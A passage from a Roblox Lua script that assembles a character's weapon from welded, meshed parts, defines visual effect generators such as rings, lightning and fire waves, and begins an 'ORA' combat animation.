0.194969654)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.562762797, 0.206172064)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.364216208, -0.11095047, 0.508239627, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("CylinderMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969654)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.206172079, 1.0049324)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.374262214, 0.100086212, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.0974852666, 0.682394505, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.39466095, -0.0201721191, 0.384109378, 0.866025984, 0.499998987, 0, 0.499998987, -0.866025984, 0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.516500473, 0.0501708984, 0.384094119, 0.866025984, 0.499998987, 0, 0.499998987, -0.866025984, 0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part2", Vector3.new(0.663258314, 0.643157542, 1.04512966)) Part2Weld = CFuncs.Weld.Create(m, HandleL, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0325930119, -0.151147842, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.357483745, -0.5254879, -0.640716434, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.292455643, 0.121856183, 0.292453945)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.361777306, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.062738657, -0.505384445, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.316826075, 0.779878199)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.35468328, -0.435037613, -0.335906148, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.492300361, 0.999220669, 0.38993907)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.643156648)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.273779154, -0.50538826, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.292455524, 0.316826075, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508239627, 0.364208579, 0.17042923, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("SpecialMesh", Part3, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 0.194969699, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 1.0049336, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.364208579, 0.00576782227, 0.17042923, -1, 0, -0, 0, 0, -1, 0, -1, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part3", Vector3.new(0.206172049, 0.663256168, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508239627, 0.0325796604, 0.17042923, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.80495441, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.520616472, -0.525484085, 0.00572109222, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.316826075, 0.779878199)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.515432358, 0.00573730469, -0.120672107, 0, 1, 0, 0, 0, -1, -1, 0, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.414312303, 0.779879749, 0.414309978)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part3", Vector3.new(0.206172049, 0.663256109, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.496704191, 0.0325872898, 0.17042923, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.502466798, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.255522728, -0.409584224, -0.512922287, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.462270945, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.409576595, -0.502866745, 0.357467532, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.292454839, 0.877363086)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.502466798, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.267042994, -0.40958041, -0.512926102, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.261283636, 0.462269485, 1.08532703)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.273779154, -0.241586685, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.357467532, -0.522974014, -0.640716434, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.877367318, 0.0974849537, 0.877362907)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.401973516, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.512922287, 0.00572109222, -0.118150592, 0, 1, 0, 0, 0, -1, -1, 0, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389940947, 1, 0.389938712)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part3", Vector3.new(0.206172049, 0.442170709, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508209109, -0.0779570341, -0.472719193, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.723554611, 0.206172079, 0.40197283)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.479927242, -0.512914658, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.389939815, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.496718496, 0.364208579, 0.17042923, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("SpecialMesh", Part3, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 0.194969699, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.345976949, -0.52296257, -0.640722156, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.877367318, 0.0974849537, 0.877362907)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part3", Vector3.new(0.206172049, 0.442170709, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.496718496, -0.0779646635, -0.472719193, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.502466798, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.436416715, -0.40958041, -0.512926102, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.206172079, 0.683353961)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.208598971, -0.502866745, 0.00576782227, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.877367556, 0.292454839, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.206172079, 0.241183683)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.881908178, -0.512926102, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389940947, 0.389939815, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.522567213, 0.206172079, 1.08532703)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.143131495, -0.502866745, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.292454839, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.206172049, 0.502466798, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.447936893, -0.409574687, -0.512914658, 0, 0, 1, -1, 0, -0, 0, -1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.944640577, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.168390095, -0.50538826, 0.357513309, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.316826075, 0.292454064)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part3", Vector3.new(0.462270945, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.40957278, -0.502866745, -0.345976949, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.292454839, 0.877363086)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.354666114, -0.435037613, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.492300361, 0.999220669, 0.38993907)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.944640577, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.168390095, -0.50538826, -0.345976949, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.316826075, 0.292454064)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.35468328, -0.435037613, 0.347427249, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.492300361, 0.999220669, 0.38993907)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleL, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.345976949, -0.525484085, -0.640727878, 0, 0, -1, 0, -1, -0, -1, 0, -0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.292455643, 0.121856183, 0.292453945)) Part4 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part4", Vector3.new(1.04513443, 0.206172079, 0.206172064)) Part4Weld = CFuncs.Weld.Create(m, HandleL, Part4, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00573730469, -0.120185852, 0.349273562, 0, 0, -1, 0, 1, 0, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part4, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.487424731, 0.487424105)) Part5 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part5", Vector3.new(1.04513443, 0.206172079, 0.206172064)) Part5Weld = CFuncs.Weld.Create(m, HandleL, Part5, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00573730469, -0.42247963, 0.349279284, 0, 0, 1, 0, -1, -0, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part5, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.487424731, 0.487424105)) Part6 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part6", Vector3.new(0.206172049, 0.442170829, 1.04512966)) Part6Weld = CFuncs.Weld.Create(m, HandleL, Part6, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.349294543, -0.151140213, 0.00573730469, 1, 0, 0, 0, -1, -0, 0, 0, -1)) CFuncs.Mesh.Create("BlockMesh", Part6, "", "", Vector3.new(0, 0, 0), Vector3.new(0.48742649, 1, 1)) sref = CFuncs.Part.Create(Character, "Neon", 0, 1, BrickColor.new("Black"), "Reference", Vector3.new()) sref.Anchored = true EffectModel = Create("Model"){ Parent = Character, Name = "Effects", } Effects = { Block = { Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay, Type) local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) if Type == 1 or Type == nil then table.insert(Effects, { prt, "Block1", delay, x3, y3, z3, msh }) elseif Type == 2 then table.insert(Effects, { prt, "Block2", delay, x3, y3, z3, msh }) end end; }; Cylinder = { Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new(0.2, 0.2, 0.2)) prt.Anchored = true prt.CFrame = cframe local msh = CFuncs.Mesh.Create("CylinderMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 2) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end; }; Head = { Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "Head", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end; }; Sphere = { Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end; }; Elect = { Create = function(cff, x, y, z) local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, BrickColor.new("New Yeller"), "Part", Vector3.new(1, 1, 1)) prt.Anchored = true prt.CFrame = cff * CFrame.new(math.random(-x, x), math.random(-y, y), math.random(-z, z)) prt.CFrame = CFrame.new(prt.Position) game:GetService("Debris"):AddItem(prt, 2) local xval = math.random() / 2 local yval = math.random() / 2 local zval = math.random() / 2 local msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(xval, yval, zval)) table.insert(Effects, { prt, "Elec", 0.1, x, y, z, xval, yval, zval }) end; }; Ring = { Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CFuncs.Mesh.Create("CylinderMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end; }; Wave = { Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "FileMesh", "rbxassetid://20329976", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Cylinder", delay, x3, y3, z3, msh }) end; }; Break = { Create = function(brickcolor, cframe, x1, y1, z1) local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new(0.5, 0.5, 0.5)) prt.Anchored = true prt.CFrame = cframe * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) local num = math.random(10, 50) / 1000 game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Shatter", num, prt.CFrame, math.random() - math.random(), 0, math.random(50, 100) / 100 }) end; }; Fire = { Create = function(brickcolor, cframe, x1, y1, z1, delay) local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "Fire", delay, 1, 1, 1, msh }) end; }; FireWave = { Create = function(brickcolor, cframe, x1, y1, z1) local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 1, brickcolor, "Effect", Vector3.new()) prt.Anchored = true prt.CFrame = cframe msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1)) local d = Create("Decal"){ Parent = prt, Texture = "rbxassetid://26356434", Face = "Top", } local d = Create("Decal"){ Parent = prt, Texture = "rbxassetid://26356434", Face = "Bottom", } game:GetService("Debris"):AddItem(prt, 10) table.insert(Effects, { prt, "FireWave", 1, 30, math.random(400, 600) / 100, msh }) end; }; Lightning = { Create = function(p0, p1, tym, ofs, col, th, tra, last) local magz = (p0 - p1).magnitude local curpos = p0 local trz = { -ofs, ofs } for i = 1, tym do local li = CFuncs.Part.Create(EffectModel, "Neon", 0, tra or 0.4, col, "Ref", Vector3.new(th, th, magz / tym)) local ofz = Vector3.new(trz[math.random(1, 2)], trz[math.random(1, 2)], trz[math.random(1, 2)]) local trolpos = CFrame.new(curpos, p1) * CFrame.new(0, 0, magz / tym).p + ofz li.Material = "Neon" if tym == i then local magz2 = (curpos - p1).magnitude li.Size = Vector3.new(th, th, magz2) li.CFrame = CFrame.new(curpos, p1) * CFrame.new(0, 0, -magz2 / 2) table.insert(Effects, { li, "Disappear", last }) else do do li.CFrame = CFrame.new(curpos, trolpos) * CFrame.new(0, 0, magz / tym / 2) curpos = li.CFrame * CFrame.new(0, 0, magz / tym / 2).p game.Debris:AddItem(li, 10) table.insert(Effects, { li, "Disappear", last }) end end end end end }; EffectTemplate = { }; } local DORARA = false function ORA() attack = true for i = 0, 1, 0.2 do swait() PlayAnimationFromTable({ CFrame.new(4.76837158e-007, -0.107780606, -0.0868092626, 1, 0, 0, 0, 0.984807849, 0.173647985, 0, -0.173647985, 0.984807849) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0, 1.4999913, 2.38418608e-007, 1, 0, 0, 0, 1.00000012, 0, 0, 0, 1.00000012) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(1.50214899, 0.590444803, 0.195881441, 0.965925872, 3.76027884e-007, 0.258818895, 0.257834077, -0.0871552154, -0.962250412, 0.0225570519, 0.99619478, -0.0841855928) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(-1.60470915, 0.600643516, 0.204860806, 0.937436998, -0.0449436344, -0.345242023, -0.345831364, -0.00582624972, -0.938278675, 0.0401581824, 0.998972595, -0.0210046768) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), CFrame.new(0.636808395, -1.93472588, -0.370165229, 0.936116338, -0.0517791435, -0.347858071, 0.0266665779, 0.996705353, -0.0765988752, 0.350678325, 0.0624292716, 